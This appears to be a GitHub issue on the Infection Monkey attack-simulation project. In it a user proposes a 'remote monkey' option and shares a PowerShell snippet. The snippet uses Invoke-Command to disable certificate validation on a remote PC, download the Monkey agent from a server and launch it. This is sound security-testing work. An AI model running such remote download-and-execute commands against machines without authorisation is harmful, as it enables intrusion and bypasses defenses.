guardicore / guardicore/monkey
'Run Monkey' on remote PCs Powershell UI
- Dominant language
- Python
- Stars
- 7.1k
- Forks
- 830
- PR merge metrics
- No merged PRs in 30d
Description
**Is your feature request related to a problem? Please describe.**
I was trying to run the monkey remotely using the given script-code.
**Describe the solution you'd like**
To be able to copy-paste and run the monkey on a remote PC (I like to abuse the systems that have AV disabled for some special snowflake reason)
**Describe alternatives you've considered**
Umm... I made it work, so I'm sharing
## Be kind, I'm new to this...
However I'm not useless with a powershell window. The 'Run Monkey' presents a nice little powershell tool, that as written, won't easily work on remote PCs.
In saying that - if you want to run remotely - here is a snippet for Windows 64 that works:
* PCABC001 could be a text box in the UI for 'remote monkey'
* SERVERDETAILS: is **alread** generated from the UI, I'm just sanitizing mine
* $env:TEMP was just to give a full path on the remote server to download the file and start the process. This could easily be generated from the Infection Monkey config, perhaps rename "Dropper Target Path" to "Dropper and remote monkey target path" or something and just use the C:\Windows\temp that exists there already just to simplify copy and paste.
Working remote execution of powershell
```powershell
Invoke-Command -ComputerName PCABC001 -ScriptBlock {`
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
(New-Object System.Net.WebClient).DownloadFile('https://SERVERDETAILS:5000/api/monkey/download/monkey-windows-64.exe',"${env:TEMP}\monkey.exe")
Start-Process -FilePath "${env:temp}\monkey.exe" -ArgumentList 'm0nk3y -s SERVERDETAILS:5000';`
}
```
Contributor guide
Assessment
This issue has not been assessed yet.